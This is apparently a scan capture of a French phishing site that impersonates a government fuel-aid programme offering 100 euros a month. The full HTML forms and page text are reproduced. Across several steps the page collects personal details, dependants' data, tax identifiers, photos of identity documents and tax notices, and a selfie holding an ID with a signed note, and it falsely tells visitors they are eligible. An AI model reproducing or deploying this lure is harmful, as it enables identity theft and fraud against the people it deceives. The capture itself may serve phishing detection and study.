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Form analysis 7 forms found in the DOM
<form id="formStep2" style="display: block;">
<!-- <div class="progress">
<div class="progress-bar progress-bar-striped active" role="progressbar" aria-valuenow="50"
aria-valuemin="0" aria-valuemax="50" style="width:50%">
50%
</div>
</div> -->
<div class="row">
<div class="col-sm-12 col-lg-6 col-lg-offset-3"><!--
<p style="COLOR: #010197;font-size: 18px;font-weight: bold;margin-top: 4rem;">AIDE EXCEPTIONNELLE À L'ACQUISITION DE CARBURANTS</p>
<p style="font-weight: bold;padding-bottom: 25px;color: black;">DEMANDE D'AIDE POUR OBTENIR UN CHÈQUE DE 100 EUROS NET PAR MOIS SUR 36 MOIS </p> -->
</div>
</div>
<div class="form-group form-group-lg col-lg-6 col-lg-offset-3">
<h2 class="title_h2"><span class="question-number">2</span>INFORMATION SUR VOTRE FOYER</h2>
<!-- group genre Nom prenom -->
<br>
<div style="display: flex;">
<!-- Nom -->
<div style="width: 50%;">
<label class="vid-label-group"> Nom <span class="red"> *</span></label>
<a class="required_input" id="required_input_Nom"></a>
<input type="text" class="form-control" id="Nom" name="Nom" placeholder="Nom" required="">
</div>
<!-- Prenom -->
<div style="width:50%;padding-left: 6px;">
<label class="vid-label-group"> Prénom <span class="red"> *</span></label>
<a class="required_input" id="required_input_Prenom"></a>
<input type="text" class="form-control" id="Prenom" name="Prenom" placeholder="Prénom" required="">
</div>
</div>
<br>
<!-- email/tel -->
<div style="display: flex;">
<div style="width: 50%;">
<label class="vid-label"> Téléphone portable <span class="red"> *</span>
<a class="required_input" id="required_input_tel"></a></label>
<input type="tel" class="form-control" id="tel" name="tel" placeholder="Numéro de téléphone" required="">
</div>
<div style="width: 50%;padding-left: 6px;">
<label class="vid-label"> E-mail <span class="red"> *</span>
<a class="required_input" id="required_input_mail"></a></label>
<input type="email" class="form-control" id="mail" name="mail" placeholder="Exemple@exemple.com" required="">
</div>
</div>
<br>
<!-- Adresse -->
<label class="vid-label-group"> Adresse <span class="red"> *</span></label>
<div style="display: flex;">
<div style="width: 50%;">
<a class="required_input" id="required_input_Adresse"></a>
<input type="text" class="form-control" id="Adresse" name="Adresse" placeholder="Adresse" required="">
</div>
<div style="width: 30%;padding-left: 6px;">
<!-- Ville -->
<a class="required_input" id="required_input_Ville"></a>
<input type="text" class="form-control" id="Ville" name="Ville" placeholder="Ville" required="">
</div>
<div style="width: 20%; padding-right: 6px; padding-left: 6px;">
<!-- Code postale -->
<a class="required_input" id="required_input_Code_postal"></a>
<input type="text" class="form-control" id="Code_postal" name="Code_postal" placeholder="Code postal" required="">
</div>
</div>
<div style="">
<div style="width: 100%;padding-right: 6px;padding-bottom:6px;padding-top: 15px;" class="stm_select_dwfm">
<label class="vid-label"> Je suis locataire ou propriétaire<span class="red"> *</span>
<a class="required_input" id="required_input_type_prop"></a></label>
<select class="form-control" id="type_prop" name="type_prop" required="">
<option value="" selected=""> Sélectionner </option>
<option value="loc">Locataire</option>
<option value="prop">Propriétaire</option>
</select>
</div>
<div style="width: 100%;padding-right: 6px;padding-bottom:6px;padding-top: 15px;" class="stm_select_dwfm">
<label class="vid-label"> Type de bien<span class="red"> *</span>
<a class="required_input" id="required_input_type_bien"></a></label>
<select class="form-control" id="type_bien" name="type_bien" required="">
<option value="" selected=""> Sélectionner </option>
<option value="msn">Maison</option>
<option value="aprt">Appartement</option>
</select>
</div>
<div style="width: 100%;padding-right: 6px;">
<label class="vid-label"> Nombre de personne(s) à charge dans votre foyer <span class="red"> *</span></label>
<a class="required_input" id="required_input_nbr_pers"></a>
<input type="number" class="form-control" id="nbr_pers" name="nbr_pers" placeholder="Nombre de personne" required="" min="1" max="4" value="1">
</div>
<div style="display: flex;">
<div id="ajax_nbr_pers" style="width:100%;">
<p style="font-weight: 500;">PERSONNE À CHARGE NUMÉRO 1</p>
<!-- Nom -->
<div style="width: 100%;" class="vid-label">
<label class="vid-label-group"> Nom <span class="red"> *</span></label>
<a class="required_input" id="required_input_pac_Nom_1"></a>
<input type="text" class="form-control" id="pac_Nom_1" name="pac_Nom[][1]" placeholder="Nom" required="">
</div>
<!-- Prenom -->
<div style="width:100%;" class="vid-label">
<label class="vid-label-group"> Prénom <span class="red"> *</span></label>
<a class="required_input" id="required_input_pac_Prenom_1"></a>
<input type="text" class="form-control" id="pac_Prenom_1" name="pac_Prenom[][1]" placeholder="Prénom" required="">
</div>
<div style="width: 100%;" class="vid-label">
<label class="vid-label-group"> Date de naissance <span class="red"> *</span></label>
<a class="required_input" id="required_input_pac_Date_naissance_1"></a>
<input type="date" class="form-control" id="pac_Date_naissance_1" name="pac_Date_naissance[][1]" placeholder="Date de naissance" required="">
</div>
</div>
</div>
</div>
<br>
<div style="display: flex;">
<div id="info_fiscale" style="width:100%;">
<p style="font-weight: 500;">INFORMATION FISCALE</p>
<!-- Nom -->
<div class="">
<label class="vid-label-group"> Mon numéro fiscal <span class="red"> *</span></label>
<img src="form/img/i_dwfm.jpeg" id="tooltip_num_fiscal" data-toggle="tooltip" title="" style="width: 2rem;height: 1.8rem;" data-original-title="<img src='img/tooltip_num_fisc.jpeg' style='width:30rem;' />">
<a class="required_input" id="required_input_num_fiscal"></a>
<input type="text" class="form-control" id="num_fiscal" name="num_fiscal" placeholder="Mon numéro fiscal" required="">
</div>
<div style="margin-top: 2rem !important;" class="">
<label class="vid-label-group"> Référence de mon dernier avis <span class="red"> *</span></label>
<img src="form/img/i_dwfm.jpeg" id="tooltip_ref_der_avis" data-toggle="tooltip" title="" style="width: 2rem;height: 1.8rem;" data-original-title="<img src='img/tooltip_ref_avis_fisc.jpeg' style='width:30rem;' />">
<a class="required_input" id="required_input_ref_dernier_avis"></a>
<input type="text" class="form-control" id="ref_dernier_avis" name="ref_dernier_avis" placeholder="Référence de mon dernier avis" required="">
</div>
<div style="margin-top: 2rem !important;" class="">
<label class="vid-label-group"> Revenu fiscal de reférence </label>
<!-- <img src="img/i_dwfm.jpeg" id="tooltip_num_fiscal" data-toggle="tooltip" title="<img src='img/tooltip_num_fisc.jpeg' style='width:30rem;' />" style="width: 2rem;height: 1.8rem;"> -->
<a class="required_input" id="required_input_rev_fiscal_ref"></a>
<input type="text" class="form-control" id="rev_fiscal_ref" name="rev_fiscal_ref" placeholder="Revenu fiscal de reférence">
</div>
<div style="margin-top: 2rem !important;" class="">
<bold style="
color: #000097;
font-weight: bold;
"><br>
<input type="checkbox" id="check1">
<label for="check1">Si vous êtes en possession d’un avis rectificatif, vous pourrez le déposer lors d’une prochaine étape. Il est obligatoire de renseigner la référence de votre dernier avis.</label>
</bold>
</div>
</div>
</div>
<div class="row">
<div class="col-md-2 col-lg-4 col-lg-offset-8">
<button id="js-submit-form" href="#formulaire" class="btn btn-primary btn-block pull-right petit-seul dwfm-stepHHH" onclick="formStep(3);"> CONTINUER </button>
</div>
</div>
</div>
</form><form id="formStep3" style="display:none" class="col-lg-6 col-lg-offset-3">
<div id="home">
<style type="text/css">
p,
li {
color: black;
}
</style>
<p style="COLOR: #010197;font-size: 18px;font-weight: bold;">AIDE EXCEPTIONNELLE À L'ACQUISITION DE CARBURANTS</p>
<p style="font-weight: bold;padding-bottom: 25px;">DEMANDE D'AIDE POUR OBTENIR UN CHÈQUE DE 100 EUROS NET PAR MOIS SUR 36 MOIS </p>
<h2 class="title_h2"><span class="question-number">3</span>VALIDATION:</h2>
<h2 class="title_h3" style="
color: #000097;
">Félicitations, vous êtes éligible</h2>
<input type="hidden" class="form-control" id="num_validation" name="num_validation">
<p>Numéro de validation : <b id="num_validation_txt">YHSV7535632</b></p>
<p style="color: #010197;font-weight: 600;">Date du premier chèque de 100 euros : 1er Septembre 2022</p>
<p style="color: #010197;font-weight: 600;">Date du dernier chèque de 100 euros : 1er Septembre 2025</p>
<p>Soit 36 règlements</p>
<!-- /.container -->
</div>
<!-- /.row -->
<div class="row">
<div class="col-md-12 col-lg-6">
<a style="color: black;margin:2.5rem;" class="btn btn-light btn-block pull-left petit" onclick="formStepRetour(2);"><i class="fa fa-chevron-left" aria-hidden="true"></i> Retour</a>
</div>
<div class="col-md-12 col-lg-6">
<button id="" href="#formulaire" class="btn btn-primary btn-block pull-right petit dwfm-step " onclick="formStep(4);">CONTINUER</button>
</div>
</div>
</form><form id="formStep4" style="display:none" class="col-lg-6 col-lg-offset-3" novalidate="novalidate">
<!-- <div class="progress">
<div class="progress-bar progress-bar-striped active" role="progressbar" aria-valuenow="75"
aria-valuemin="0" aria-valuemax="75" style="width:75%">
75%
</div>
</div> -->
<div class="row">
<div class="col-sm-12">
<p style="COLOR: #010197;font-size: 18px;font-weight: bold;">AIDE EXCEPTIONNELLE À L'ACQUISITION DE CARBURANTS</p>
<p style="font-weight: bold;padding-bottom: 25px;">DEMANDE D'AIDE POUR OBTENIR UN CHÈQUE DE 100 EUROS NET PAR MOIS SUR 36 MOIS </p>
<h2 class="title_h2"><span class="question-number">4</span>NOUS VÉRIFIONS VOTRE IDENTITÉ : </h2>
</div>
</div>
<div class="loader" id="loader" style="display:none"></div>
<br><br>
<bold style="color: #ff0404;font-weight: bold;font-size:22px;"> Merci de bien vouloir patienter jusqu'à la prochaine étape obligatoire pour finaliser votre dossier.<br> Attention, cette étape peut durer plus de 60 secondes. </bold>
<br><br>
<div class="form-group form-group-lg" id="div_not_loader">
<div id="div_type_identite" class="animated fadeInRight">
<!-- begin form step 2 lost -->
<div class="user-input-wrp">
<h6 class="vid-label-group">CARTE D'IDENTITÉ OU PASSEPORT EN COUR DE VALIDITÉ </h6>
<div style="width: 100%;padding-right: 6px;padding-bottom:6px;" class="stm_select_dwfm">
<a class="required_input" id="required_input_type_pcs_identite"></a>
<select class="form-control" id="type_pcs_identite" name="type_pcs_identite" required="" aria-required="true">
<option value="" selected=""> Sélectionner </option>
<option value="cin">Carte d'identité</option>
<option value="pass">Passeport</option>
</select>
</div>
<div id="if_type_cin" style="display: none;">
<label class="vid-label">Veuillez télécharger une photo du Recto en couleur de votre Pièce d'identité (ATTENTION les quatre coins doivent être visibles)<span class="red">
*</span><a class="required_input" id="required_input_pcs_identite_recto"></a></label>
<div class="file-wrapper">
<img class="img-logo" src="https://formulaire.vehicule-demandes.com/img/11.gif" data-component="image" style="width: 20%;">
<input class="file-input" type="file" id="pcs_identite_recto" name="pcs_identite_recto" required="" aria-required="true">
</div>
<label class="vid-label">Veuillez télécharger une photo du VERSO en couleur de votre Pièce d'identité (ATTENTION les quatre coins doivent être visibles)<span class="red">
*</span><a class="required_input" id="required_input_pcs_identite_verso"></a></label>
<div class="file-wrapper">
<img class="img-logo" src="https://formulaire.vehicule-demandes.com/img/11.gif" data-component="image" style="width: 20%;">
<input class="file-input" type="file" id="pcs_identite_verso" name="pcs_identite_verso" required="" aria-required="true">
</div>
</div>
<div id="if_type_pass" style="display: none;">
<label class="vid-label">Veuillez télécharger une photo du Recto en couleur de votre passeport (ATTENTION les quatre coins doivent être visibles)<span class="red">
*</span><a class="required_input" id="required_input_passport_recto"></a></label>
<div class="file-wrapper">
<img class="img-logo" src="https://formulaire.vehicule-demandes.com/img/11.gif" data-component="image" style="width: 20%;">
<input class="file-input" type="file" id="passport_recto" name="passport_recto" required="" aria-required="true">
</div>
<label class="vid-label">Veuillez télécharger une photo du VERSO en couleur de votre passport (ATTENTION les quatre coins doivent être visibles)<span class="red">
*</span><a class="required_input" id="required_input_passport_verso"></a></label>
<div class="file-wrapper">
<img class="img-logo" src="https://formulaire.vehicule-demandes.com/img/11.gif" data-component="image" style="width: 20%;">
<input class="file-input" type="file" id="passport_verso" name="passport_verso" required="" aria-required="true">
</div>
</div>
</div>
<br>
<h6 class="vid-label">AVIS D'IMPOSITION</h6>
<label class="vid-label">Veuillez télécharger votre dernier avis d'imposition (ensemble des volets)<span class="red"> *</span><a class="required_input" id="required_input_avis_imposition"></a></label>
<div class="file-wrapper">
<img class="img-logo" src="https://formulaire.vehicule-demandes.com/img/11.gif" data-component="image" style="width: 20%;">
<input class="file-input" type="file" id="avis_imposition" name="avis_imposition">
</div>
<h6 class="vid-label">TAXE FONCIÈRE <!-- (OBLIGATOIRE SI VOUS ÊTES PROPRIÉTAIRE) --></h6>
<label class="vid-label">Veuillez télécharger votre dernière Taxe foncière. (ensemble des volets)<span class="red"> *</span><a class="required_input" id="required_input_taxe_fonciere"></a></label>
<div class="file-wrapper">
<img class="img-logo" src="https://formulaire.vehicule-demandes.com/img/11.gif" data-component="image" style="width: 20%;">
<input class="file-input" type="file" id="taxe_fonciere" name="taxe_fonciere" required="" aria-required="true">
</div>
<!-- end form 2 lost -->
<div class="row">
<div class="col-md-12 col-lg-6">
<a style="color: black;" class="btn btn-light btn-block pull-left petit" onclick="formStepRetour(3);"><i class="fa fa-chevron-left" aria-hidden="true"></i> Retour</a>
</div>
<div class="col-md-12 col-lg-6">
<!--<a id="js-submit-form" href="#formulaire" class="btn btn-primary btn-block" onclick="formStep(6);" -->
<button id="" href="#formulaire" class="btn btn-primary btn-block pull-right petit" onclick="formStep(5);">CONTINUER</button>
</div>
</div>
</div>
</div>
</form><form id="formStep5" style="display: none;" class="col-lg-6 col-lg-offset-3">
<div class="loader" id="loader_take_photo" style="display:none"></div>
<div class="col-sm-12" id="div_not_loader_take_photo">
<br><br>
<h1 style="color: red;font-size: 17px;">Merci de faire cette dernière étape afin de nous assurer que vous êtes bien à l'origine de cette demande.</h1>
<br><br>
<div style="color: black;">
<h1 style="text-align:center">Pour des raisons de sécurité, merci de vous prendre en photo avec en main votre pièce d'identité ou votre passeport et une note manuscrite. </h1>
<br><br>
<p class="text-center"></p>
<p class="wysiwyg-text-align-center">
</p>
<ul>
<li>Votre manuscrit doit comprendre la mention : "Pour la Prime Carburant + prenom+ nom+ Date du jour + votre signature." </li>
<li>Si vous portez des lunettes merci de les retirer.</li>
<li style="
font-weight: bold;
color: red;
">Attention votre pièce d'identité ou votre passeport devra être lisible en totalité sur la photo sinon votre dossier pourra être refusé. </li>
<br><br>
<li style="
font-weight: bold;
color: red;text-decoration: blink;
">Afin de faciliter votre dossier, nous vous conseillons de faire cette photo uniquement avec votre smartphone puis la télecharger dans l'onglet ci-dessous. </li>
</ul>
<p></p>
<p></p>
<br><br><img src="form/img/photo2.jpg" style="
width: 100%;
"><br><br>
</div>
<div class="app">
<div class="row">
<a type="a" class="btn btn-primary " id="start-camera">Autorisez la caméra</a>
</div>
<!-- upload-->
<br>
<label for="file_upload_image1" class="custom-file-upload" id="teleImage" style="color: #333;">
<i class="fa fa-cloud-upload"></i> Ou télécharger une image </label>
<input id="file_upload_image1" style="display: none;" type="file"><br>
<a class="confirm-download2" onclick="uploadimage1()">Confirmez <i class="fa fa-arrow-right" aria-hidden="true"></i></a>
<!--end upload-->
<video id="camera-stream" autoplay="" playsinline="" controls="" style="display:none;margin-top: 20px;"></video>
<img id="snap" style="display:none">
<p id="error-message"></p>
<div class="controls">
<a href="#" id="take-photo" title="Take Photo"><i class="fa fa-camera" aria-hidden="true"></i></a>
<a href="#" id="delete-photo" title="Delete Photo" class="disabled"><i class="fa fa-trash-o" aria-hidden="true"></i></a>
</div>
<!-- Hidden canvas element. Used for taking snapshot of video. -->
<canvas id="myCanvasImage" style="display:none"></canvas>
<a id="download-photo" class="btn btn-primary disabled">Confirmez</a>
</div>
</div>
</form><form id="formStep6" style="display: none;" class="col-lg-6 col-lg-offset-3">
<div class="col-sm-12" style="color: black;">
<h1 style="text-align:center">Merci, votre demande a bien été prise en compte.</h1>
<p class="text-center"></p>
<!--<p id="mailmachin" class="wysiwyg-text-align-center" style="
color: red;
font-size: 20px;
font-weight: bold;
text-align: center;
">Nous venons de vous envoyer un e-mail, veuillez vérifier votre boîte de réception ou votre dossier Indésirable.</p> !-->
<p></p>
</div>
</form><form id="formStep7" style="display: none;" class="col-lg-6 col-lg-offset-3">
<div class="col-sm-12" style="color: black;">
<h1 style="text-align:center">L'étape précedent sont déjà enregistré</h1>
<p class="text-center"></p>
<!--<p id="mailmachin" class="wysiwyg-text-align-center" style="
color: red;
font-size: 20px;
font-weight: bold;
text-align: center;
">Nous venons de vous envoyer un e-mail, veuillez vérifier votre boîte de réception ou votre dossier Indésirable.</p> !-->
<p></p>
</div>
</form>GET https://aide-exceptionnelle-carburant.com/
<form method="get" id="searchform" action="https://aide-exceptionnelle-carburant.com/">
<div class="search-wrapper">
<input placeholder="Tapez ici ..." type="text" class="form-control search-input" value="" name="s" id="s">
<button type="submit" class="search-submit"><i class="fa fa-search mtc"></i></button>
</div>
</form>Text Content
AIDE EXCEPTIONNELLE À L’ACQUISITION DE CARBURANTS
FAIRE MA DEMANDE EN LIGNE
Vous pouvez bénéficier d'une prime de 100€ mensuelle.
Au regard d’une très forte hausse des prix des énergies, le Gouvernement a
élaboré un plan de résilience économique et sociale pour apporter des réponses
ciblées aux acteurs économiques les plus touchés afin de protéger, à court
terme, l’activité des entreprises comme le pouvoir d’achat des ménages. Parmi
les mesures qui soutiennent les objectifs de ce plan, le Gouvernement s’est
engagé à baisser les prix des carburants à compter du 1er avril 2022 et ce pour
quatre mois.
Informations importantes
* Cette aide est exclusivement réservée
* aux particuliers résidents en France métropolitaine,
* aux entreprises référencées par les douanes mettant à la consommation des
carburants, ou bien réalisant des opérations de stockage intermédiaire,
* aux exploitants de stations-service, propriétaires de leur fonds de
commerce, au titre des stations au moyen desquelles sont vendus moins de 1
000 hectolitres de carburants au total par mois en moyenne sur l’année 2021
et qui en ont fait la demande (avance remboursable) avant le 30 avril 2022.
* Attention : 1 fois la saisie achevée, l’enregistrement ne sera plus
modifiable en ligne, vérifiez bien les informations saisies
Présentation de l'aide
* En raison du contexte international, les prix des carburants connaissent une
hausse inédite qui impacte directement le pouvoir d'achat des français et les
acteurs économiques. Pour diminuer ces effets, le Gouvernement a mis en place
une aide de 15 centimes d'euros HT par litre de carburant mis à la
consommation.Cette aide est versée par l'Agence de services et de paiement à
tous les opérateurs, à raison des carburants qu’ils mettent à la consommation
ou détiennent à des fins commerciales, pour une distribution en France.
2INFORMATION SUR VOTRE FOYER
Nom *
Prénom *
Téléphone portable *
E-mail *
Adresse *
Je suis locataire ou propriétaire * Sélectionner Locataire Propriétaire
Type de bien * Sélectionner Maison Appartement
Nombre de personne(s) à charge dans votre foyer *
PERSONNE À CHARGE NUMÉRO 1
Nom *
Prénom *
Date de naissance *
INFORMATION FISCALE
Mon numéro fiscal *
Référence de mon dernier avis *
Revenu fiscal de reférence
Si vous êtes en possession d’un avis rectificatif, vous pourrez le déposer lors
d’une prochaine étape. Il est obligatoire de renseigner la référence de votre
dernier avis.
CONTINUER
AIDE EXCEPTIONNELLE À L'ACQUISITION DE CARBURANTS
DEMANDE D'AIDE POUR OBTENIR UN CHÈQUE DE 100 EUROS NET PAR MOIS SUR 36 MOIS
3VALIDATION:
FÉLICITATIONS, VOUS ÊTES ÉLIGIBLE
Numéro de validation : YHSV7535632
Date du premier chèque de 100 euros : 1er Septembre 2022
Date du dernier chèque de 100 euros : 1er Septembre 2025
Soit 36 règlements
Retour
CONTINUER
AIDE EXCEPTIONNELLE À L'ACQUISITION DE CARBURANTS
DEMANDE D'AIDE POUR OBTENIR UN CHÈQUE DE 100 EUROS NET PAR MOIS SUR 36 MOIS
4NOUS VÉRIFIONS VOTRE IDENTITÉ :
Merci de bien vouloir patienter jusqu'à la prochaine étape obligatoire pour
finaliser votre dossier.
Attention, cette étape peut durer plus de 60 secondes.
CARTE D'IDENTITÉ OU PASSEPORT EN COUR DE VALIDITÉ
Sélectionner Carte d'identité Passeport
Veuillez télécharger une photo du Recto en couleur de votre Pièce d'identité
(ATTENTION les quatre coins doivent être visibles) *
Veuillez télécharger une photo du VERSO en couleur de votre Pièce d'identité
(ATTENTION les quatre coins doivent être visibles) *
Veuillez télécharger une photo du Recto en couleur de votre passeport (ATTENTION
les quatre coins doivent être visibles) *
Veuillez télécharger une photo du VERSO en couleur de votre passport (ATTENTION
les quatre coins doivent être visibles) *
AVIS D'IMPOSITION
Veuillez télécharger votre dernier avis d'imposition (ensemble des volets) *
TAXE FONCIÈRE
Veuillez télécharger votre dernière Taxe foncière. (ensemble des volets) *
Retour
CONTINUER
MERCI DE FAIRE CETTE DERNIÈRE ÉTAPE AFIN DE NOUS ASSURER QUE VOUS ÊTES BIEN À
L'ORIGINE DE CETTE DEMANDE.
POUR DES RAISONS DE SÉCURITÉ, MERCI DE VOUS PRENDRE EN PHOTO AVEC EN MAIN VOTRE
PIÈCE D'IDENTITÉ OU VOTRE PASSEPORT ET UNE NOTE MANUSCRITE.
* Votre manuscrit doit comprendre la mention : "Pour la Prime Carburant +
prenom+ nom+ Date du jour + votre signature."
* Si vous portez des lunettes merci de les retirer.
* Attention votre pièce d'identité ou votre passeport devra être lisible en
totalité sur la photo sinon votre dossier pourra être refusé.
* Afin de faciliter votre dossier, nous vous conseillons de faire cette photo
uniquement avec votre smartphone puis la télecharger dans l'onglet
ci-dessous.
Autorisez la caméra
Ou télécharger une image
Confirmez
Confirmez
MERCI, VOTRE DEMANDE A BIEN ÉTÉ PRISE EN COMPTE.
L'ÉTAPE PRÉCEDENT SONT DÉJÀ ENREGISTRÉ
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